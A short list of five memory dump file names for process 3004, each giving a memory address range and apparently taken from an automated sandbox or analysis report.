memory/3004-176-0x00000000001D0000-0x00000000001D1000-memory.dmp
memory/3004-273-0x000007FEF48E0000-0x000007FEF52CC000-memory.dmp
memory/3004-174-0x000007FEF48E0000-0x000007FEF52CC000-memory.dmp
memory/3004-175-0x000000001A7F0000-0x000000001A870000-memory.dmp
memory/3004-177-0x000000001A7F0000-0x000000001A870000-memory.dmp